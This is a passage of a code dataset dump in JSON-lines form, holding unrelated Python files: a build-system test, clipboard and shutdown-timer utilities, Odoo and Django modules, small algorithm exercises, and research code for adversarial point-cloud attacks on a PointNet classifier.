test_target_parsed_correctly(self) -> None:\n self.add_to_build_file(\n \"helloworld\",\n dedent(\n \"\"\"\\\n mock_tgt(\n fake_field=42,\n dependencies=[\n # Because we don't follow dependencies or even parse dependencies, this\n # self-cycle should be fine.\n \"helloworld\",\n \":sibling\",\n \"helloworld/util\",\n \"helloworld/util:tests\",\n ],\n )\n \"\"\"\n ),\n )\n addr = Address.parse(\"helloworld\")\n target_adaptor = self.request_single_product(TargetAdaptor, addr)\n assert target_adaptor.name == \"helloworld\"\n assert target_adaptor.type_alias == \"mock_tgt\"\n assert target_adaptor.kwargs[\"dependencies\"] == [\n \"helloworld\",\n \":sibling\",\n \"helloworld/util\",\n \"helloworld/util:tests\",\n ]\n # NB: TargetAdaptors do not validate what fields are valid. The Target API should error\n # when encountering this, but it's fine at this stage.\n assert target_adaptor.kwargs[\"fake_field\"] == 42\n\n def test_build_file_address(self) -> None:\n self.create_file(\"helloworld/BUILD.ext\", \"mock_tgt()\")\n addr = Address(\"helloworld\")\n expected_bfa = BuildFileAddress(rel_path=\"helloworld/BUILD.ext\", address=addr)\n bfa = self.request_single_product(BuildFileAddress, addr)\n assert bfa == expected_bfa\n bfas = self.request_single_product(BuildFileAddresses, Addresses([addr]))\n assert bfas == BuildFileAddresses([bfa])\n\n def test_build_file_address_generated_subtarget(self) -> None:\n self.create_file(\"helloworld/BUILD.ext\", \"mock_tgt(name='original')\")\n addr = Address(\"helloworld\", target_name=\"original\", relative_file_path=\"generated\")\n expected_bfa = BuildFileAddress(rel_path=\"helloworld/BUILD.ext\", address=addr)\n bfa = self.request_single_product(BuildFileAddress, addr)\n assert bfa == expected_bfa\n bfas = self.request_single_product(BuildFileAddresses, Addresses([addr]))\n assert bfas == BuildFileAddresses([bfa])\n\n def test_address_not_found(self) -> None:\n with pytest.raises(ExecutionError) as exc:\n self.request_single_product(TargetAdaptor, Address(\"helloworld\"))\n assert \"Directory \\\\'helloworld\\\\' does not contain any BUILD files\" in str(exc)\n\n self.add_to_build_file(\"helloworld\", \"mock_tgt(name='other_tgt')\")\n expected_rx_str = re.escape(\n \"'helloworld' was not found in namespace 'helloworld'. Did you mean one of:\\n :other_tgt\"\n )\n with pytest.raises(ExecutionError, match=expected_rx_str):\n self.request_single_product(TargetAdaptor, Address(\"helloworld\"))\n\n\nclass ResolveAddressIntegrationTest(TestBase):\n @classmethod\n def rules(cls):\n return (*super().rules(), RootRule(AddressInput))\n\n def test_resolve_address(self) -> None:\n def assert_is_expected(address_input: AddressInput, expected: Address) -> None:\n assert self.request_single_product(Address, address_input) == expected\n\n self.create_file(\"a/b/c.txt\")\n assert_is_expected(\n AddressInput(\"a/b/c.txt\"), Address(\"a/b\", target_name=None, relative_file_path=\"c.txt\")\n )\n assert_is_expected(\n AddressInput(\"a/b\"), Address(\"a/b\", target_name=None, relative_file_path=None)\n )\n\n assert_is_expected(\n AddressInput(\"a/b\", target_component=\"c\"), Address(\"a/b\", target_name=\"c\")\n )\n assert_is_expected(\n AddressInput(\"a/b/c.txt\", target_component=\"c\"),\n Address(\"a/b\", relative_file_path=\"c.txt\", target_name=\"c\"),\n )\n\n # Top-level addresses will not have a path_component, unless they are a file address.\n self.create_file(\"f.txt\")\n assert_is_expected(\n AddressInput(\"f.txt\", target_component=\"original\"),\n Address(\"\", relative_file_path=\"f.txt\", target_name=\"original\"),\n )\n assert_is_expected(AddressInput(\"\", target_component=\"t\"), Address(\"\", target_name=\"t\"))\n\n with pytest.raises(ExecutionError) as exc:\n self.request_single_product(Address, AddressInput(\"a/b/fake\"))\n assert \"'a/b/fake' does not exist on disk\" in str(exc.value)\n","sub_path":"src/python/pants/engine/internals/build_files_test.py","file_name":"build_files_test.py","file_ext":"py","file_size_in_byte":13264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"74362650","text":"#!/usr/bin/env python\n# vim: set list et ts=8 sts=4 sw=4 ft=python:\n\n# haklib.pb - macOS pasteboard (clipboard) access\n# Copyright (C) 2018, Daniel Roethlisberger <daniel@roe.ch>\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions, and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\nimport subprocess\n\n\ndef pbcopy(s):\n \"\"\"\n Copy string *s* to the pasteboard.\n \"\"\"\n proc = subprocess.Popen('pbcopy',\n env={'LANG': 'en_US.UTF-8'},\n stdin=subprocess.PIPE)\n proc.communicate(s.encode('utf-8'))\n\n\ndef pbpaste():\n \"\"\"\n Return the current content of the pasteboard as a string.\n \"\"\"\n buf = subprocess.check_output('pbpaste',\n env={'LANG': 'en_US.UTF-8'})\n return buf.decode('utf-8')\n\n\n","sub_path":"pb.py","file_name":"pb.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"385604609","text":"\"\"\"\r\nThis is a program to perform hibernate,shutdown or restart after the specified countdown time.\r\nUse powercfg /h on in Command prompt to enable hibernation. Replace on with off to disable it.\r\n\"\"\"\r\n\r\nimport msvcrt\r\nimport os\r\nimport time\r\n\r\nprint(__doc__)\r\n\r\nt = 1\r\nc = int(input('\\t1-Hibernate 2-Shutdown 3-Restart 4-Exit.Enter the desired option '))\r\nif c == 4:\r\n quit()\r\n\r\nm = int(input('\\tEnter countdown time in minutes '))\r\n\r\nfor i in range(m * 60, 0, -1):\r\n os.system('cls')\r\n print(i, \"seconds remaining.Press any key to cancel.\")\r\n time.sleep(1)\r\n\r\n if msvcrt.kbhit():\r\n os.system('cls')\r\n print(\"Task Cancelled\")\r\n t = 0\r\n break\r\n\r\nif t != 0:\r\n if c == 1:\r\n os.system('cls')\r\n os.system(\"shutdown /h\")\r\n elif c == 2:\r\n os.system(\"shutdown /s\")\r\n else:\r\n os.system(\"shutdown /r\")\r\n print(\"Press any key to abort\")\r\n if msvcrt.kbhit():\r\n os.system(\"shutdown /a\")\r\n print(\"Task Cancelled\")\r\n\r\nmsvcrt.getch().decode()\r\ntime.sleep(3)\r\nos.system('cls')\r\nquit()\r\n","sub_path":"Countdown Sys Mgr.py","file_name":"Countdown Sys Mgr.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"555330003","text":"import time, webbrowser\n\n\ntotal_breaks = 3\nbreak_count = 0\n\nprint(\"This program started on \"+time.ctime())\nwhile(break_count < total_breaks):\n time.sleep(10) # will be change to 2*60*60\n webbrowser.open(\"http://coldplay.com/video/every-teardrop-is-a-waterfall/\")\n break_count += 1","sub_path":"U/p1/p1.1/break_time.py","file_name":"break_time.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"61748668","text":"# client.py\n\nimport socket\n# create a socket object\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM);\n\n#get local machine name host is the ip address.\nhost = socket.gethostname();\nport = 9999;\n\n#connection to hostname on the port.\ns.connect((host, port))\n\n# Recieve no more than 1024 bytes\ndata = s.recv(1024);\n\ns.close();\n\nprint(data.decode('ascii'));\n","sub_path":"Client_Server/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"488519343","text":"#!/usr/bin/python\n# coding: utf-8\n\nfrom ListNode import *\n\nclass Solution(object):\n def detectCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: ListNode\n \"\"\"\n if not head or not head.next:\n return None\n fp, sp = head, head\n while fp and fp.next:\n sp = sp.next\n fp = fp.next.next\n if sp == fp:\n break\n\n if not fp or not fp.next:\n return None\n sp = head\n while sp != fp:\n sp = sp.next\n fp = fp.next\n return sp","sub_path":"python/leetcode_medium/Question_076_Linked_List_Cycle_II.py","file_name":"Question_076_Linked_List_Cycle_II.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"606786873","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import except_orm\n\n\nclass SaleOrder(models.Model):\n _inherit = 'sale.order'\n\n @api.multi\n @api.depends('state',\n 'order_line.reservation_ids',\n 'order_line.is_stock_reservable')\n def _stock_reservation(self):\n for sale in self:\n has_stock_reservation = False\n is_stock_reservable = False\n for line in sale.order_line:\n if line.reservation_ids:\n has_stock_reservation = True\n if line.is_stock_reservable:\n is_stock_reservable = True\n if sale.state not in ('draft', 'sent'):\n is_stock_reservable = False\n sale.is_stock_reservable = is_stock_reservable\n sale.has_stock_reservation = has_stock_reservation\n\n has_stock_reservation = fields.Boolean(\n compute='_stock_reservation',\n readonly=True,\n multi='stock_reservation',\n store=True,\n string='Has Stock Reservations')\n is_stock_reservable = fields.Boolean(\n compute='_stock_reservation',\n readonly=True,\n multi='stock_reservation',\n store=True,\n string='Can Have Stock Reservations')\n\n @api.multi\n def release_all_stock_reservation(self):\n line_ids = [line.id for order in self for line in order.order_line]\n lines = self.env['sale.order.line'].browse(line_ids)\n lines.release_stock_reservation()\n return True\n\n @api.multi\n def action_button_confirm(self):\n self.release_all_stock_reservation()\n return super(SaleOrder, self).action_button_confirm()\n\n @api.multi\n def action_cancel(self):\n self.release_all_stock_reservation()\n return super(SaleOrder, self).action_cancel()\n\n\nclass SaleOrderLine(models.Model):\n _inherit = 'sale.order.line'\n\n @api.multi\n def _get_line_rule(self):\n \"\"\" Get applicable rule for this product\n\n Reproduce get suitable rule from procurement\n to predict source location \"\"\"\n ProcurementRule = self.env['stock.rule']\n product = self.product_id\n product_route_ids = [x.id for x in product.route_ids +\n product.categ_id.total_route_ids]\n rules = ProcurementRule.search([('route_id', 'in', product_route_ids)],\n order='route_sequence, sequence',\n limit=1)\n\n if not rules:\n warehouse = self.order_id.warehouse_id\n wh_routes = warehouse.route_ids\n wh_route_ids = [route.id for route in wh_routes]\n domain = ['|', ('warehouse_id', '=', warehouse.id),\n ('warehouse_id', '=', False),\n ('route_id', 'in', wh_route_ids)]\n\n rules = ProcurementRule.search(domain,\n order='route_sequence, sequence')\n\n if rules:\n return rules[0]\n return False\n\n @api.multi\n def _get_procure_method(self):\n \"\"\" Get procure_method depending on product routes \"\"\"\n rule = self._get_line_rule()\n if rule:\n return rule.procure_method\n return False\n\n @api.multi\n @api.depends('state',\n 'product_id.route_ids',\n 'product_id.type')\n def _is_stock_reservable(self):\n for line in self:\n reservable = False\n if (not (line.state != 'draft' or\n line._get_procure_method() == 'make_to_order' or\n not line.product_id or\n line.product_id.type == 'service') and\n not line.reservation_ids):\n reservable = True\n line.is_stock_reservable = reservable\n\n reservation_ids = fields.One2many(\n 'stock.reservation',\n 'sale_line_id',\n string='Stock Reservation',\n copy=False)\n is_stock_reservable = fields.Boolean(\n compute='_is_stock_reservable',\n readonly=True,\n string='Can be reserved')\n\n @api.multi\n def release_stock_reservation(self):\n reserv_ids = [reserv.id for line in self\n for reserv in line.reservation_ids]\n reservations = self.env['stock.reservation'].browse(reserv_ids)\n reservations.release()\n return True\n\n def product_id_change(self, cr, uid, ids,\n pricelist,\n product,\n qty=0,\n uom=False,\n name='',\n partner_id=False,\n lang=False,\n update_tax=True,\n date_order=False,\n packaging=False,\n fiscal_position=False,\n flag=False,\n context=None):\n result = super(SaleOrderLine, self).product_id_change(\n cr, uid, ids, pricelist, product, qty=qty, uom=uom,\n name=name, partner_id=partner_id,\n lang=lang, update_tax=update_tax, date_order=date_order,\n packaging=packaging, fiscal_position=fiscal_position,\n flag=flag, context=context)\n if not ids: # warn only if we change an existing line\n return result\n assert len(ids) == 1, \"Expected 1 ID, got %r\" % ids\n line = self.browse(cr, uid, ids[0], context=context)\n if qty != line.product_uom_qty and line.reservation_ids:\n msg = _(\"As you changed the quantity of the line, \"\n \"the quantity of the stock reservation will \"\n \"be automatically adjusted to %.2f.\") % qty\n msg += \"\\n\\n\"\n result.setdefault('warning', {})\n if result['warning'].get('message'):\n result['warning']['message'] += msg\n else:\n result['warning'] = {\n 'title': _('Configuration Error!'),\n 'message': msg,\n }\n return result\n\n @api.multi\n def write(self, vals):\n block_on_reserve = ('product_id',\n 'product_uom',\n 'type')\n update_on_reserve = ('price_unit',\n 'product_uom_qty')\n keys = set(vals.keys())\n test_block = keys.intersection(block_on_reserve)\n test_update = keys.intersection(update_on_reserve)\n if test_block:\n for line in self:\n if not line.reservation_ids:\n continue\n raise except_orm(\n _('Error'),\n _('You cannot change the product or unit of measure '\n 'of lines with a stock reservation. '\n 'Release the reservation '\n 'before changing the product.'))\n res = super(SaleOrderLine, self).write(vals)\n if test_update:\n for line in self:\n if not line.reservation_ids:\n continue\n if len(line.reservation_ids) > 1:\n raise except_orm(\n _('Error'),\n _('Several stock reservations are linked with the '\n 'line. Impossible to adjust their quantity. '\n 'Please release the reservation '\n 'before changing the quantity.'))\n\n line.reservation_ids.write(\n {'price_unit': line.price_unit,\n 'product_uom_qty': line.product_uom_qty})\n return res\n","sub_path":"stock_reserve_sale/stock_reserve_sale/model/sale.py","file_name":"sale.py","file_ext":"py","file_size_in_byte":7742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"249906704","text":"import sys\n\nN, T = [int(x) for x in sys.stdin.readline().split()]\nwidths = [int(x) for x in sys.stdin.readline().split()]\n\ndef find_max(start, end, widths):\n vehicle = 3\n \n for w in range(start, end + 1):\n if widths[w] < vehicle:\n vehicle = widths[w]\n \n return vehicle\n\nfor case in sys.stdin:\n start, end = [int(x) for x in case.split()]\n print(min(widths[start:end+1]))","sub_path":"hackerrank/python/Service Lane- 1.py","file_name":"Service Lane- 1.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"52473058","text":"\nfrom django.urls import path, include\nfrom . import views\nurlpatterns = [\n path('', views.index,name=\"ShopHome\"),\n path('about/', views.about,name=\"About\"),\n path('contact/', views.contact,name=\"Contact\"),\n path('tracker/', views.tracker,name=\"Tracker\"),\n path('search/', views.search,name=\"Search\"),\n path(\"products/<int:myid>\", views.products,name=\"products\"),\n path('checkout/', views.checkout,name=\"Checkout\"),\n path('programtest',views.programTest,name=\"programTest\")\n]\n","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"327242183","text":"import os\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(os.path.dirname(__file__), 'djangoratings.db'),\n }\n}\n\nINSTALLED_APPS = [\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n\n 'djangoratings',\n 'djangoratings.tests',\n]\n\nSECRET_KEY = '@#D43290fsm$edfiojag8xfg'\nROOT_URLCONF = ''\n","sub_path":"djangoratings/tests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"82254841","text":"# Реализовать класс Worker (работник)\n\nclass Worker:\n name = \"Иван\"\n surname = \"Урюпин\"\n position = \"Специалист\"\n _income = {\"wage\": 45000, \"bonus\": 27500}\n\n\nclass Position(Worker):\n def get_full_name(self):\n print(f\"{self.name} {self.surname}\")\n\n def get_total_income(self):\n print(f\"{self._income['wage'] + self._income['bonus']}\")\n\n\na = Position() # создаём экземпляр класса\nprint(a.position) # получаем значение атрибута класса\na.get_full_name() # метод получение имени и фамилии\na.get_total_income() # метод выводит сумму доход+премия\n","sub_path":"63.py","file_name":"63.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"28106667","text":"import dota2api\nimport requests\n\napi = dota2api.Initialise('TOKEN')\nmatch = api.get_match_details(match_id=1000193456)\n# print(match)\n\nhist = api.get_heroes()\nlist_of_maps = hist['heroes']\nheroes_info = list_of_maps[23]\nfor x in list_of_maps:\n name = x['localized_name']\n url = x['url_large_portrait']\n resp = requests.get(url)\n b = resp.content\n\n file_name = 'portraits/portrait_' + name + '.png'\n fobj = open(file_name, \"wb\") \n fobj.write(b) \n fobj.close() \n\n","sub_path":"dota.py","file_name":"dota.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"579664654","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 11 11:25:55 2021\n\n@author: \n\"\"\"\n\nimport CTA\nimport torch\nimport os\nimport importlib\nimport open3d as o3d\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport dis_utils_numpy as dun\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = BASE_DIR\nsys.path.append(os.path.join(ROOT_DIR, 'models'))\n\ndef check_num_pc_changed(adv,ori):\n logits_mtx = np.logical_and.reduce(adv==ori,axis=1)\n return np.sum(logits_mtx==False)\n\ndef sampling(points, sample_size):\n num_p = points.shape[0]\n index = range(num_p)\n np.random.seed(1)\n sampled_index = np.random.choice(index,size=sample_size)\n sampled = points[sampled_index]\n return sampled\n\ndef generate_adv(prototype, ori_class, filename):\n# =============================================================================\n# np.save('visu/Ori_pt.npy',np.squeeze(prototype))\n# ori_pt = o3d.geometry.PointCloud()\n# ori_pt.points = o3d.utility.Vector3dVector(prototype[0,:,0:3])\n# o3d.io.write_point_cloud('visu/Ori_pt.ply', ori_pt)\n# =============================================================================\n ipt = torch.from_numpy(prototype).float()\n ipt = ipt.permute(0,2,1)\n ipt.requires_grad_(True)\n activation_dictionary = {}\n classifier.fc3.register_forward_hook(CTA.layer_hook(activation_dictionary, selected_layer))\n #steps = 10 # perform 100 iterations # flamingo class of Imagenet\n IG_steps = 50\n if torch.cuda.is_available() == True:\n alpha = torch.tensor(1e-6).cuda()\n beta = torch.tensor(3e-6).cuda()\n else:\n alpha = torch.tensor(1e-6)\n beta = torch.tensor(1e-4)\n verbose = True # print activation every step\n using_softmax_neuron = False # whether to optimize the unit after softmax\n penalize_dis = False\n optimizer = 'Adam'\n target_att = False\n state,output,ori_logits,max_other_logits = CTA.act_max(network=classifier,\n input=ipt,\n layer_activation=activation_dictionary,\n layer_name=selected_layer,\n ori_cls=ori_class,\n IG_steps=IG_steps,\n alpha=alpha,\n beta=beta,\n verbose=verbose,\n using_softmax_neuron=using_softmax_neuron,\n penalize_dis=penalize_dis,\n optimizer=optimizer,\n target_att=target_att\n )\n res = output.permute(0,2,1)\n if torch.cuda.is_available() == True:\n res = res.detach().cpu().numpy()\n else:\n res = res.detach().numpy()\n res = res[0]\n res = np.float32(res)\n \n ##########################################\n #Save npy for trasferability test\n if state == 'Suc':\n trans_path = 'transferability/pn1_CTA/'\n np.save(trans_path+filename,res)\n ##########################################\n\n adv_pc = o3d.geometry.PointCloud()\n adv_pc.points = o3d.utility.Vector3dVector(res[:,0:3])\n o3d.io.write_point_cloud('visu/output/second/'+ filename+'.ply', adv_pc)\n \n target_pro = np.float32(np.squeeze(prototype))\n Hausdorff_dis2 = dun.bid_hausdorff_dis(res, target_pro)\n cham_dis = dun.chamfer(res, target_pro)\n num_perturbed_pc = check_num_pc_changed(res,target_pro)\n return state,Hausdorff_dis2, cham_dis, num_perturbed_pc\n\ndef get_pred(points,classifier):\n points = torch.from_numpy(points)\n points = points.transpose(2, 1)\n points = points.float()\n if torch.cuda.is_available() == True:\n points = points.cuda()\n classifier = classifier.cuda()\n classifier = classifier.eval()\n pred, bf_sftmx , _ = classifier(points)\n pred_choice = pred.data.max(1)[1]\n return pred_choice, SHAPE_NAMES[pred_choice]\n\n\ntest_file = 'data/modelnet40_normal_resampled/modelnet40_test_adv.txt'\nnum_class = 40\ntarget_class = 0 #Plane\nexperiment_dir = 'log/classification/pointnet_cls_msg'\ndata_dir = 'data/modelnet40_normal_resampled'\nmodel_name = os.listdir(experiment_dir+'/logs')[0].split('.')[0]\nMODEL = importlib.import_module(model_name)\nSHAPE_NAMES = [line.rstrip() for line in \\\n open(os.path.join(BASE_DIR, 'data/shape_names.txt'))] \nclassifier = MODEL.get_model(num_class,normal_channel=False)\nif torch.cuda.is_available() == True:\n checkpoint = torch.load(str(experiment_dir) + '/checkpoints/best_model.pth')\nelse:\n checkpoint = torch.load(str(experiment_dir) + '/checkpoints/best_model.pth',map_location=torch.device('cpu'))\nprint(classifier.load_state_dict(checkpoint['model_state_dict']))\nlayer_name = list(classifier.state_dict().keys())\nselected_layer = 'fc3'\n\ntotal_num_ins = 0\ntotal_suc_num = 0\ntotal_avg_Hausdorff_dis = 0\ntotal_avg_cham_dis = 0\nclass_num_ins = np.zeros((num_class))\nclass_suc_num = np.zeros((num_class))\nclass_avg_Hausdorff_dis = np.zeros((num_class))\nclass_avg_cham_dis = np.zeros((num_class))\navg_number_points_changed = 0\nfor line in open(test_file):\n ori_class = line[:line.rfind('_')]\n cur_file = data_dir + '/' + ori_class + '/' + line[:-1] + '.txt'\n prototype = np.expand_dims((sampling(np.loadtxt(cur_file,delimiter=',')[:,0:3], 1024)),0)\n cur_cls_num, pred_class = get_pred(prototype,classifier)\n if ori_class == pred_class: #Only generate instances being classified correctly\n class_num_ins[cur_cls_num] += 1\n total_num_ins += 1\n save_name = ori_class + str(int(class_num_ins[cur_cls_num]))\n saving_path = 'visu/output/second/'\n if (save_name + '.ply') in os.listdir(saving_path):\n print('Already processed, skip!')\n continue\n if torch.cuda.is_available() == True:\n state, Hausdorff_dis, cham_dis, num_perturbed_pc = generate_adv(prototype,cur_cls_num.detach().cpu().numpy()[0],save_name)\n else:\n state, Hausdorff_dis, cham_dis, num_perturbed_pc = generate_adv(prototype,cur_cls_num.detach().numpy()[0],save_name)\n if state == 'Suc':\n class_suc_num[cur_cls_num] += 1\n total_suc_num += 1\n class_avg_Hausdorff_dis[cur_cls_num] += Hausdorff_dis\n class_avg_cham_dis[cur_cls_num] += cham_dis\n total_avg_Hausdorff_dis += Hausdorff_dis\n total_avg_cham_dis += cham_dis\n avg_number_points_changed += num_perturbed_pc\n print('Hausdorff distance: ', \"%e\"%Hausdorff_dis)\n print('Chamfer distance: ', \"%e\"%cham_dis)\n print('Number of points changed: ', num_perturbed_pc)\n elif state == 'Fail':\n print('Finding one-point adversarial example failed!')\nclass_suc_rate = class_suc_num / class_num_ins\nclass_avg_Hausdorff_dis = class_avg_Hausdorff_dis / class_suc_num\nclass_avg_cham_dis = class_avg_cham_dis / class_suc_num\nprint('\\n')\nprint('*****************************************************************')\nprint('Average Class Hausdorff Distance :', class_avg_Hausdorff_dis)\nprint('Average Class Chamfer Distance :', class_avg_cham_dis)\nprint('Class Success percentage:', class_suc_rate)\nprint('*****************************************************************')\nprint('\\n')\ntotal_avg_Hausdorff_dis /= total_suc_num\ntotal_avg_cham_dis /= total_suc_num\ntotal_suc_rate = total_suc_num/total_num_ins\navg_number_points_changed = avg_number_points_changed/total_suc_num\nprint('\\n')\nprint('##################################################################')\nprint('Total number of instance tested: ', total_num_ins)\nprint('Total Average Hausdorff Distance :', total_avg_Hausdorff_dis)\nprint('Total Average Chamfer Distance :', total_avg_cham_dis)\nprint('Total Average number of points perturbed :', avg_number_points_changed)\nprint('Total Success percentage:', total_suc_rate)\nprint('##################################################################')\nprint('\\n')\n\n\n","sub_path":"Eval_CTA.py","file_name":"Eval_CTA.py","file_ext":"py","file_size_in_byte":8006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"395607134","text":"from __future__ import print_function\nimport argparse\nimport os\nimport torch\nfrom model import Model\nfrom video_dataset import Dataset\nfrom test import test\nfrom stage2 import train\nfrom tensorboard_logger import Logger\nimport options\ntorch.set_default_tensor_type('torch.cuda.FloatTensor')\nimport torch.optim as optim\n\nif __name__ == '__main__':\n\n args = options.parser.parse_args()\n torch.manual_seed(args.seed) # args.seed = 1\n torch.cuda.manual_seed_all(args.seed)\n device = torch.device('cuda')\n \n t_max = 750\n t_max_ctc = 2800\n if args.activity_net:\n t_max = 200\n t_max_ctc = 400\n dataset = Dataset(args)\n os.system('mkdir -p ./ckpt/')\n os.system('mkdir -p ./logs/' + args.model_name)\n logger = Logger('./logs/' + args.model_name)\n model = Model(dataset.feature_size, dataset.num_class)\n args.pretrained_ckpt = './ckpt/pointNet5000.pkl'\n if args.eval_only and args.pretrained_ckpt is None:\n print('***************************')\n print('Pretrained Model NOT Loaded')\n print('Evaluating on Random Model')\n print('***************************')\n\n if args.pretrained_ckpt is not None:\n print('model load!')\n model.load_state_dict(torch.load(args.pretrained_ckpt))\n print('begin')\n best_acc = 0\n # baseline = [59.1,53.5,44.2,34.1,26.6,8.1]\n best05 = 0.0\n optimizer = optim.Adam(model.parameters(), lr=args.lr, weight_decay=0.0005)\n args.max_iter = 12001\n for itr in range(5001,args.max_iter):\n dataset.t_max = t_max\n if itr % 2: # itr 为偶数,且不为零\n dataset.t_max = -1\n if not args.eval_only: # eval_only = False\n train(itr, dataset, args, model, optimizer, logger,device)\n N = 50\n if itr % N == 0 and (not itr == 0 or args.eval_only): # 迭代500次或其倍数\n\n res = test(itr, dataset, args, model, logger, device) # 测试\n acc = res[6]\n acc05 = res[4]\n torch.save(model.state_dict(), './ckpt/' + 'currentPointNet' + '.pkl')\n if acc05 > best05 and not args.eval_only:\n best05 = acc05\n torch.save(model.state_dict(), './ckpt/' + 'pointNet05' + '.pkl')\n if acc > best_acc and not args.eval_only:\n best_acc = acc\n torch.save(model.state_dict(), './ckpt/' + 'pointNet' + '.pkl')\n if args.eval_only:\n print('Done Eval!')\n break\n","sub_path":"SF-Net/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"356942087","text":"# Time complexity O(n^2) Space Complexity O(n)\ndef twoSums(array, target):\n for i in range(len(array)):\n for j in range(i+1, len(array)):\n if array[i] + array[j] == target:\n return [i,j]\n \n\n\n\narr1 = [3, 5, 6, 8, 19]\ntarget = 22\n\nprint(twoSums(arr1, target))","sub_path":"Array/twoSums1.py","file_name":"twoSums1.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"275843302","text":"from django.urls import path\r\nfrom . import views, utilitiesViews\r\nfrom graph import views as graph\r\n\r\n\r\n\r\nurlpatterns = [\r\n\tpath('', views.home, name='home'),\r\n\tpath('loadForm/', views.loadForm, name='ajax_load'),\r\n path('infoGenerated/', views.loadData, name='infoGenerated'),\r\n\tpath('carinfo/<str:pk>/',views.carPage, name='carPage'),\r\n\tpath('gallery',views.gallery, name='gallery'),\r\n\r\n\r\n\tpath('register/', views.registerPage, name='register'),\r\n\tpath('logout/',views.logoutPage, name='logout'),\r\n\tpath('customer/<str:pk>/',views.customerPage, name='customer'),\r\n\tpath('updateView/',views.updateView, name='updateView'),\r\n\t\r\n\r\n\r\n\tpath('createOrder/<str:pk>/',views.createOrder, name='createOrder'),\r\n\tpath('makeOrder/<str:pk>/',views.makeOrder, name='makeOrder'),\r\n\tpath('payment/<str:pk>/', views.payment, name='payment'),\r\n\tpath('cancelOrder/<str:pk>/', views.cancelOrder, name='cancelOrder'),\r\n\r\n\r\n\tpath('pdfView/<str:pk>/', utilitiesViews.ViewPDF.as_view(), name=\"pdfView\"),\r\n path('pdfDownload/<str:pk>/', utilitiesViews.DownloadPDF.as_view(), name=\"pdfDownload\"),\r\n\t\r\n\tpath('graph', graph.graph, name=\"graph\"),\r\n\r\n]\r\n","sub_path":"website/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"376167260","text":"from booth.layout.preview import PreviewBase\n\n__author__ = 'dev'\n\nfrom PIL import Image, ImageOps, ImageEnhance\nimport logging\nimport io\n\n\nclass Polaroid(PreviewBase.PreviewBase):\n def __init__(self):\n self.polaroid = Image.open('events/birthday/assets/images/frame.png')\n self.base_polaroid = self.polaroid.size\n self.polaroid = ImageOps.fit(self.polaroid, self.base_polaroid, Image.ANTIALIAS, 0, (0.5, 0.5))\n self.logger = logging.getLogger(__name__)\n\n\n def make(self, stream):\n 